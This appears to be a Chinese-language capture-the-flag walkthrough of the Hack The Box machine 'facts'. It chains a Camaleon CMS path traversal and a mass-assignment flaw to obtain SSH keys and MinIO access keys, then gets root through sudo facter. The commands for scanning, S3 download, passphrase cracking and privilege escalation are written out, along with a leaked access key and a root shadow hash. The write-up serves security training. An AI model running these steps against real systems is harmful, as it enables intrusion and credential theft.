基本信息
端口扫描
22和80:
(需要全端口,还有个54321 minio)
1 | nmap -sC -sV -Pn 10.129.20.119 |
80
需要加hosts:
1 | 10.129.20.119 facts.htb |
一个探索新事物的网站:
目录扫描
目录扫描可以找到admin:
1 | gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u http://facts.htb/ |
admin
自动跳到login,可以创建账号登录,Camaleon 2.9.0:
非预期 CVE-2024-46987
搜索可以找到一个相关漏洞:
- Goultarde/CVE-2024-46987: This Python PoC exploits CVE-2024-46987, a Path Traversal bug in Camaleon CMS 2.8.0 < 2.8.2 (work on 2.9.0). It allows authenticated users to read sensitive server files via the MediaController. Intended for authorized security auditing and educational research only.
https://github.com/Goultarde/CVE-2024-46987
也可以直接手动测试:
之后一步步读文件,得到trivia私钥:
1 | /home/trivia/.ssh/authorized_keys |
预期 CVE-2025-2304
预期方式是CVE-2025-2304:
- Camaleon CMS Vulnerable to Privilege Escalation through a Mass Assignment · CVE-2025-2304 · GitHub Advisory Database
https://github.com/advisories/GHSA-rp28-mvq3-wf8j
正常注册账号上去什么都没有,利用这个漏洞把自己变成管理员:
修改用户密码请求中,手动添加角色参数,然后重新登录,现在我们是admin:
admin
然后可以在setting里得到secret key:
1 | AKIA0118A0EA12A9BCF8 |
Minio
之后就是使用得到的key访问minio:
1 | export AWS_ACCESS_KEY_ID=AKIA0118A0EA12A9BCF8 |
然后下载ssh私钥到本地,和非预期同样的方式破解出密码,根据私钥得到对应的公钥信息,其中包括用户名:
1 | aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 . |
trivia & user flag
(从LFI直接到trivia是非预期)
trivia的私钥有密码保护,首先常规破解出密码:
1 | ssh2john trivia_id_ed25519 > hash.txt |
然后登录
1 | ssh -i trivia_id_ed25519 trivia@10.129.20.119 |
user flag
trivia可以直接访问william用户目录:
facter to root
可以sudo运行facter,gtfobins:
- facter | GTFOBins
https://gtfobins.org/gtfobins/facter/
可以运行指定目录下第一个rb文件,所以自己创建一个目录使用ruby执行系统命令即可:
1 | mkdir /tmp/miao |
shadow
1 | root:$y$j9T$7gs6EMa6c.zpFgKM3Grtz.$q8L7RyD.tdOf9DEhsqmEYBdKBrmxJ60ItpltO/x2nSB:20342:0:99999:7::: |
参考资料
- Goultarde/CVE-2024-46987: This Python PoC exploits CVE-2024-46987, a Path Traversal bug in Camaleon CMS 2.8.0 < 2.8.2 (work on 2.9.0). It allows authenticated users to read sensitive server files via the MediaController. Intended for authorized security auditing and educational research only.
https://github.com/Goultarde/CVE-2024-46987 - Camaleon CMS Vulnerable to Privilege Escalation through a Mass Assignment · CVE-2025-2304 · GitHub Advisory Database
https://github.com/advisories/GHSA-rp28-mvq3-wf8j - facter | GTFOBins
https://gtfobins.org/gtfobins/facter/